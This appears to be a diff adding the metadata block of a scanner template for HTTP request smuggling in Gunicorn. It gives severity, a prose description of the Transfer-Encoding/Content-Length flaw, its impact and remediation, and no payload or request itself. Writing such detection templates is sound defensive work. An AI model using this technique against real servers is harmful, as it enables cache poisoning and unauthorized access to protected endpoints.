+  name: Gunicorn - HTTP Request Smuggling
+  author: ManieshNeupane (Pwn4arn)
+  severity: high
+  description: |
+    Gunicorn is vulnerable to HTTP Request Smuggling due to improper validation of the Transfer-Encoding header. 
+    If a request contains both Content-Length and a malformed or multiple Transfer-Encoding headers, Gunicorn 
+    may fall back to Content-Length. An attacker can exploit this to bypass security controls, poison caches, 
+    or manipulate session data.
+  impact: |
+    Successful exploitation could lead to unauthorized access to administrative endpoints or sensitive data 
+    by smuggling a secondary request that the server processes as a separate, legitimate request.
+  remediation: |
+    Update Gunicorn to a version that properly handles Transfer-Encoding headers or ensure the frontend 
+    proxy strictly validates these headers.
